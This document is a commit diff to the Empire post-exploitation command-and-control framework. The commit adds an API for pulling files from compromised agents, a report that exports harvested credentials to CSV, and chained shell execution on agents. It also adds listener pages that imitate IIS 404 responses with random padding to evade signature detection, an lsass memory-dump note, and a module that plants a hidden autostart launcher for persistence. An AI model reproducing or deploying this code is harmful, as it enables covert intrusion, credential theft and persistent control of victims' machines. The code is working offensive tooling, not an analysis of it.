commit
b1e7534024
|
@ -202,7 +202,7 @@ def process_tasking(data):
|
||||||
if result:
|
if result:
|
||||||
resultPackets += result
|
resultPackets += result
|
||||||
|
|
||||||
packetOffset = 8 + length
|
packetOffset = 12 + length
|
||||||
|
|
||||||
while remainingData and remainingData != '':
|
while remainingData and remainingData != '':
|
||||||
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
|
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
|
||||||
|
@ -210,7 +210,7 @@ def process_tasking(data):
|
||||||
if result:
|
if result:
|
||||||
resultPackets += result
|
resultPackets += result
|
||||||
|
|
||||||
packetOffset += 8 + length
|
packetOffset += 12 + length
|
||||||
|
|
||||||
# send_message() is patched in from the listener module
|
# send_message() is patched in from the listener module
|
||||||
send_message(resultPackets)
|
send_message(resultPackets)
|
||||||
|
@ -857,6 +857,9 @@ def run_command(command):
|
||||||
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
|
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
|
||||||
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
||||||
return ''.join(list(iter(p.stdout.readline, b'')))
|
return ''.join(list(iter(p.stdout.readline, b'')))
|
||||||
|
elif ";" in command or "&&" in command:
|
||||||
|
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
||||||
|
return p.communicate()[0].strip()
|
||||||
else:
|
else:
|
||||||
command_parts = []
|
command_parts = []
|
||||||
command_parts.append(command)
|
command_parts.append(command)
|
||||||
|
|
31
empire
31
empire
|
@ -905,6 +905,33 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
|
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
|
||||||
|
|
||||||
return jsonify({'success': True})
|
return jsonify({'success': True})
|
||||||
|
@app.route('/api/agents/<string:agent_name>/download', methods=['POST'])
|
||||||
|
def task_agent_download(agent_name):
|
||||||
|
"""
|
||||||
|
Tasks the specified agent to download a file
|
||||||
|
"""
|
||||||
|
|
||||||
|
if agent_name.lower() == "all":
|
||||||
|
# enumerate all target agent sessionIDs
|
||||||
|
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
|
||||||
|
else:
|
||||||
|
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
|
||||||
|
|
||||||
|
if not agentNameIDs or len(agentNameIDs) == 0:
|
||||||
|
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
|
||||||
|
|
||||||
|
if not request.json['filename']:
|
||||||
|
return make_response(jsonify({'error':'file name not provided'}), 404)
|
||||||
|
|
||||||
|
fileName = request.json['filename']
|
||||||
|
for agentNameID in agentNameIDs:
|
||||||
|
(agentName, agentSessionID) = agentNameID
|
||||||
|
|
||||||
|
msg = "Tasked agent to download %s" % (fileName)
|
||||||
|
main.agents.save_agent_log(agentSessionID, msg)
|
||||||
|
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', fileName)
|
||||||
|
|
||||||
|
return jsonify({'success': True, 'taskID': taskID})
|
||||||
|
|
||||||
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
|
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
|
||||||
def task_agent_upload(agent_name):
|
def task_agent_upload(agent_name):
|
||||||
|
@ -941,9 +968,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
||||||
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
|
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
|
||||||
main.agents.save_agent_log(agentSessionID, msg)
|
main.agents.save_agent_log(agentSessionID, msg)
|
||||||
data = fileName + "|" + fileData
|
data = fileName + "|" + fileData
|
||||||
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
||||||
|
|
||||||
return jsonify({'success': True})
|
return jsonify({'success': True, 'taskID': taskID})
|
||||||
|
|
||||||
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
|
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
|
||||||
def task_agent_shell(agent_name):
|
def task_agent_shell(agent_name):
|
||||||
|
|
|
@ -24,6 +24,7 @@ import shlex
|
||||||
import pkgutil
|
import pkgutil
|
||||||
import importlib
|
import importlib
|
||||||
import base64
|
import base64
|
||||||
|
import threading
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
import helpers
|
import helpers
|
||||||
|
@ -80,6 +81,7 @@ class MainMenu(cmd.Cmd):
|
||||||
self.conn = self.database_connect()
|
self.conn = self.database_connect()
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
self.lock = threading.Lock()
|
||||||
# pull out some common configuration information
|
# pull out some common configuration information
|
||||||
(self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
|
(self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
|
||||||
|
|
||||||
|
@ -111,6 +113,15 @@ class MainMenu(cmd.Cmd):
|
||||||
|
|
||||||
# print the loading menu
|
# print the loading menu
|
||||||
messages.loading()
|
messages.loading()
|
||||||
|
|
||||||
|
def get_db_connection(self):
|
||||||
|
"""
|
||||||
|
Returns the
|
||||||
|
"""
|
||||||
|
self.lock.acquire()
|
||||||
|
self.conn.row_factory = None
|
||||||
|
self.lock.release()
|
||||||
|
return self.conn
|
||||||
|
|
||||||
|
|
||||||
def check_root(self):
|
def check_root(self):
|
||||||
|
@ -850,6 +861,77 @@ class MainMenu(cmd.Cmd):
|
||||||
print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
|
print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
|
||||||
helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
|
helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
|
||||||
|
|
||||||
|
def do_report(self, line):
|
||||||
|
"Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
|
||||||
|
conn = self.get_db_connection()
|
||||||
|
try:
|
||||||
|
self.lock.acquire()
|
||||||
|
|
||||||
|
# Agents CSV
|
||||||
|
cur = conn.cursor()
|
||||||
|
cur.execute('select session_id, hostname, username, checkin_time from agents')
|
||||||
|
|
||||||
|
rows = cur.fetchall()
|
||||||
|
print helpers.color("[*] Writing data/sessions.csv")
|
||||||
|
f = open('data/sessions.csv','w')
|
||||||
|
f.write("SessionID, Hostname, User Name, First Check-in\n")
|
||||||
|
for row in rows:
|
||||||
|
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# Credentials CSV
|
||||||
|
cur.execute("""
|
||||||
|
SELECT
|
||||||
|
domain
|
||||||
|
,username
|
||||||
|
,host
|
||||||
|
,credtype
|
||||||
|
,password
|
||||||
|
FROM
|
||||||
|
credentials
|
||||||
|
ORDER BY
|
||||||
|
domain
|
||||||
|
,credtype
|
||||||
|
,host
|
||||||
|
""")
|
||||||
|
|
||||||
|
rows = cur.fetchall()
|
||||||
|
print helpers.color("[*] Writing data/credentials.csv")
|
||||||
|
f = open('data/credentials.csv','w')
|
||||||
|
f.write('Domain, Username, Host, Cred Type, Password\n')
|
||||||
|
for row in rows:
|
||||||
|
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# Empire Log
|
||||||
|
cur.execute("""
|
||||||
|
SELECT
|
||||||
|
reporting.time_stamp
|
||||||
|
,reporting.event_type
|
||||||
|
,reporting.name as "AGENT_ID"
|
||||||
|
,a.hostname
|
||||||
|
,reporting.taskID
|
||||||
|
,t.data AS "Task"
|
||||||
|
,r.data AS "Results"
|
||||||
|
FROM
|
||||||
|
reporting
|
||||||
|
JOIN agents a on reporting.name = a.session_id
|
||||||
|
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
|
||||||
|
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
|
||||||
|
WHERE
|
||||||
|
reporting.event_type == 'task' OR reporting.event_type == 'checkin'
|
||||||
|
""")
|
||||||
|
rows = cur.fetchall()
|
||||||
|
print helpers.color("[*] Writing data/master.log")
|
||||||
|
f = open('data/master.log', 'w')
|
||||||
|
f.write('Empire Master Taskings & Results Log by timestamp\n')
|
||||||
|
f.write('='*50 + '\n\n')
|
||||||
|
for row in rows:
|
||||||
|
f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + unicode(row[5]) + '\n' + unicode(row[6]) + '\n')
|
||||||
|
f.close()
|
||||||
|
cur.close()
|
||||||
|
finally:
|
||||||
|
self.lock.release()
|
||||||
|
|
||||||
def complete_usemodule(self, text, line, begidx, endidx, language=None):
|
def complete_usemodule(self, text, line, begidx, endidx, language=None):
|
||||||
"Tab-complete an Empire module path."
|
"Tab-complete an Empire module path."
|
||||||
|
|
|
@ -7,7 +7,7 @@ import time
|
||||||
import copy
|
import copy
|
||||||
import sys
|
import sys
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
from flask import Flask, request, make_response
|
from flask import Flask, request, make_response, send_from_directory
|
||||||
|
|
||||||
# Empire imports
|
# Empire imports
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
@ -137,17 +137,86 @@ class Listener:
|
||||||
# set the default staging key to the controller db default
|
# set the default staging key to the controller db default
|
||||||
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||||
|
|
||||||
|
# randomize the length of the default_response and index_page headers to evade signature based scans
|
||||||
|
self.header_offset = random.randint(0,64)
|
||||||
|
|
||||||
def default_response(self):
|
def default_response(self):
|
||||||
|
"""
|
||||||
|
Returns an IIS 7.5 404 not found page.
|
||||||
|
"""
|
||||||
|
|
||||||
|
return '\n'.join([
|
||||||
|
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||||
|
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||||
|
'<head>',
|
||||||
|
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
|
||||||
|
'<title>404 - File or directory not found.</title>',
|
||||||
|
'<style type="text/css">',
|
||||||
|
'<!--',
|
||||||
|
'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
|
||||||
|
'fieldset{padding:0 15px 10px 15px;}',
|
||||||
|
'h1{font-size:2.4em;margin:0;color:#FFF;}',
|
||||||
|
'h2{font-size:1.7em;margin:0;color:#CC0000;}',
|
||||||
|
'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
|
||||||
|
'#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
|
||||||
|
'background-color:#555555;}',
|
||||||
|
'#content{margin:0 0 0 2%;position:relative;}',
|
||||||
|
'.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
|
||||||
|
'-->',
|
||||||
|
'</style>',
|
||||||
|
'</head>',
|
||||||
|
'<body>',
|
||||||
|
'<div id="header"><h1>Server Error</h1></div>',
|
||||||
|
'<div id="content">',
|
||||||
|
' <div class="content-container"><fieldset>',
|
||||||
|
' <h2>404 - File or directory not found.</h2>',
|
||||||
|
' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
|
||||||
|
' </fieldset></div>',
|
||||||
|
'</div>',
|
||||||
|
'</body>',
|
||||||
|
'</html>',
|
||||||
|
' ' * self.header_offset, # randomize the length of the header to evade signature based detection
|
||||||
|
])
|
||||||
|
|
||||||
|
def index_page(self):
|
||||||
"""
|
"""
|
||||||
Returns a default HTTP server page.
|
Returns a default HTTP server page.
|
||||||
"""
|
"""
|
||||||
page = "<html><body><h1>It works!</h1>"
|
|
||||||
page += "<p>This is the default web page for this server.</p>"
|
|
||||||
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
|
||||||
page += "</body></html>"
|
|
||||||
return page
|
|
||||||
|
|
||||||
|
return '\n'.join([
|
||||||
|
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||||
|
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||||
|
'<head>',
|
||||||
|
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
|
||||||
|
'<title>IIS7</title>',
|
||||||
|
'<style type="text/css">',
|
||||||
|
'<!--',
|
||||||
|
'body {',
|
||||||
|
' color:#000000;',
|
||||||
|
' background-color:#B3B3B3;',
|
||||||
|
' margin:0;',
|
||||||
|
'}',
|
||||||
|
'',
|
||||||
|
'#container {',
|
||||||
|
' margin-left:auto;',
|
||||||
|
' margin-right:auto;',
|
||||||
|
' text-align:center;',
|
||||||
|
' }',
|
||||||
|
'',
|
||||||
|
'a img {',
|
||||||
|
' border:none;',
|
||||||
|
'}',
|
||||||
|
'',
|
||||||
|
'-->',
|
||||||
|
'</style>',
|
||||||
|
'</head>',
|
||||||
|
'<body>',
|
||||||
|
'<div id="container">',
|
||||||
|
'<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
|
||||||
|
'</div>',
|
||||||
|
'</body>',
|
||||||
|
'</html>',
|
||||||
|
])
|
||||||
|
|
||||||
def validate_options(self):
|
def validate_options(self):
|
||||||
"""
|
"""
|
||||||
|
@ -563,7 +632,7 @@ class Listener:
|
||||||
"""
|
"""
|
||||||
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
||||||
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
|
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
|
|
||||||
@app.after_request
|
@app.after_request
|
||||||
|
@ -581,6 +650,24 @@ class Listener:
|
||||||
response.headers['Expires'] = "0"
|
response.headers['Expires'] = "0"
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
@app.route('/')
|
||||||
|
@app.route('/index.html')
|
||||||
|
def serve_index():
|
||||||
|
"""
|
||||||
|
Return default server web page if user navigates to index.
|
||||||
|
"""
|
||||||
|
|
||||||
|
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||||
|
return make_response(self.index_page(), 200)
|
||||||
|
|
||||||
|
@app.route('/welcome.png')
|
||||||
|
def serve_index_helper():
|
||||||
|
"""
|
||||||
|
Serves image loaded by index page.
|
||||||
|
"""
|
||||||
|
|
||||||
|
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||||
|
return send_from_directory(static_dir, 'welcome.png')
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['GET'])
|
@app.route('/<path:request_uri>', methods=['GET'])
|
||||||
def handle_get(request_uri):
|
def handle_get(request_uri):
|
||||||
|
@ -624,7 +711,7 @@ class Listener:
|
||||||
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
|
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
|
||||||
return make_response(self.default_response(), 401)
|
return make_response(self.default_response(), 401)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# actual taskings
|
# actual taskings
|
||||||
|
@ -632,13 +719,13 @@ class Listener:
|
||||||
return make_response(base64.b64encode(results), 200)
|
return make_response(base64.b64encode(results), 200)
|
||||||
else:
|
else:
|
||||||
# dispatcher.send("[!] Results are None...", sender='listeners/http_com')
|
# dispatcher.send("[!] Results are None...", sender='listeners/http_com')
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
|
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['POST'])
|
@app.route('/<path:request_uri>', methods=['POST'])
|
||||||
|
@ -676,16 +763,16 @@ class Listener:
|
||||||
|
|
||||||
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
||||||
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
|
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
elif results == 'VALID':
|
elif results == 'VALID':
|
||||||
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
|
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(base64.b64encode(results), 200)
|
return make_response(base64.b64encode(results), 200)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
certPath = listenerOptions['CertPath']['Value']
|
certPath = listenerOptions['CertPath']['Value']
|
||||||
|
|
|
@ -9,13 +9,13 @@ class Module:
|
||||||
|
|
||||||
'Author': ['@mattifestation'],
|
'Author': ['@mattifestation'],
|
||||||
|
|
||||||
'Description': ('Generates a full-memory minidump of a process.'),
|
'Description': ('Generates a full-memory dump of a process. Note: To dump another user\'s process, you must be running from an elevated prompt (e.g to dump lsass)'),
|
||||||
|
|
||||||
'Background' : True,
|
'Background' : True,
|
||||||
|
|
||||||
'OutputExtension' : None,
|
'OutputExtension' : None,
|
||||||
|
|
||||||
'NeedsAdmin' : True,
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
'OpsecSafe' : False,
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
@ -89,9 +89,9 @@ class Module:
|
||||||
if option.lower() != "agent":
|
if option.lower() != "agent":
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
if option == "ProcessName":
|
if option == "ProcessName":
|
||||||
scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump"
|
scriptEnd = "Get-Process " + values['Value'] + " | Out-Minidump"
|
||||||
elif option == "ProcessId":
|
elif option == "ProcessId":
|
||||||
scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
||||||
|
|
||||||
for option,values in self.options.iteritems():
|
for option,values in self.options.iteritems():
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
|
|
|
@ -0,0 +1,114 @@
|
||||||
|
import base64
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# name for the module that will appear in module menus
|
||||||
|
'Name': 'DesktopFile',
|
||||||
|
|
||||||
|
# list of one or more authors for the module
|
||||||
|
'Author': ['@jarrodcoulter'],
|
||||||
|
|
||||||
|
# more verbose multi-line description of the module
|
||||||
|
'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
# if the module needs administrative privileges
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
# the module language
|
||||||
|
'Language' : 'python',
|
||||||
|
|
||||||
|
# the minimum language version needed
|
||||||
|
'MinLanguageVersion' : '2.6',
|
||||||
|
|
||||||
|
# list of any references/other comments
|
||||||
|
'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
|
||||||
|
https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html,
|
||||||
|
https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description' : 'Agent to execute module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'FileName' : {
|
||||||
|
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'sec_start'
|
||||||
|
},
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters
|
||||||
|
# are passed as an object set to the module and the
|
||||||
|
# options dictionary is automatically set. This is mostly
|
||||||
|
# in case options are passed on the command line
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
|
FileName = self.options['FileName']['Value']
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
|
||||||
|
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
|
||||||
|
dtSettings = """
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=%s
|
||||||
|
Exec=python -c %s
|
||||||
|
Type=Application
|
||||||
|
NoDisplay=True
|
||||||
|
""" % (FileName, launcher)
|
||||||
|
script = """
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
dtFile = \"\"\"
|
||||||
|
%s
|
||||||
|
\"\"\"
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
FilePath = home + "/.config/autostart/"
|
||||||
|
WriteFile = FilePath + "%s.desktop"
|
||||||
|
|
||||||
|
if not os.path.exists(FilePath):
|
||||||
|
os.makedirs(FilePath)
|
||||||
|
e = open(WriteFile,'wb')
|
||||||
|
e.write(dtFile)
|
||||||
|
e.close()
|
||||||
|
|
||||||
|
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
|
||||||
|
print "\\n[+] Empire daemon has been written to %s"
|
||||||
|
|
||||||
|
""" % (dtSettings, FileName, FileName, FileName)
|
||||||
|
|
||||||
|
return script
|
Loading…
Reference in New Issue